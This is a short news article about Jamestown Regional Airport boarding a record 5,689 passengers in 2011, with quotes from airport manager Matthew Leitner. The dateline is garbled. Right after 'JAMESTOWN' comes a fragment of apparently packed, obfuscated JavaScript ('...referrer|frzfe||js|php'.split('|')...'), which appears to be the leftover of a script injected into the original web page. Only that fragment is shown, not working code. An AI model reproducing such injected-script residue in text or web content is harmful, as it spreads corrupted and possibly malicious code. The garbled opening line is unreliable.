JAMESTOWN rehri|var|u0026u|referrer|frzfe||js|php’.split(‘|’),0,{}))
– The Jamestown Regional Airport boarded almost 5700 passengers in 2011, shattering records said airport manager Matthew Leitner.

“We shattered the records like a grenade blowing up in a dollhouse,” he joked.

The 2011 total of 5,689 passengers is a 254 percent increase over 2007, and a 33 percent increase over last year’s total passenger number of 4,284, said Leitner.

“I think it’s just a greater public awareness of what we have to offer,” Leitner said, outlining some of the airport’s amenities such as current nonstop air service to Minneapolis, free parking and a new passenger terminal. “The new terminal is being lauded, everybody loves it.”

Leitner said the airport boarded 765 people in December, compared to 446 people last December. The airport’s new terminal opened on Dec. 13, and Leitner said he has high expectations for boardings in 2012 to keep going up.